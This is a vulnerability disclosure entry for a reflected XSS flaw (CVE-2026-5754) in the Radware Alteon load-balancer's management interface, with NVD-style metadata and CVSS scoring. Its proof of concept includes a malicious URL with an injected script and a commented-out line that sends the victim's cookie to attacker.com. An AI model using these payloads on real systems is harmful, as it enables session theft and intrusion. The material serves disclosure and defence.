CVE-2026-5754

<!-- Simple PoC for Reflected XSS --> <!-- Target: Radware Alteon Management Interface --> <!-- Attacker sends this URL to the victim --> <!-- Example malicious URL --> <!-- https://target-alteon-mgmt/config?param=<script>alert('XSS')</script> --> <!-- HTML payload to demonstrate execution --> <script> // Simulating the reflected payload execution alert('CVE-2026-5754 XSS Vulnerability Exploited'); // Proof of concept: Steal document cookie // var c = document.cookie; // window.location = 'http://attacker.com/steal?c=' + c; </script>

{"cve": {"id": "CVE-2026-5754", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:39.487", "lastModified": "2026-04-21T17:16:57.940", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reflected Cross-Site Scripting (XSS) Vulnerability in Radware Alteon 34.5.4.0 vADC load-balancer allows an attacker to inject malicious scripts into the website, potentially leading to unauthorized actions, data theft, or other malicious activities."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "references": [{"url": "https://www.radware.com/products/alteon/", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/890999", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}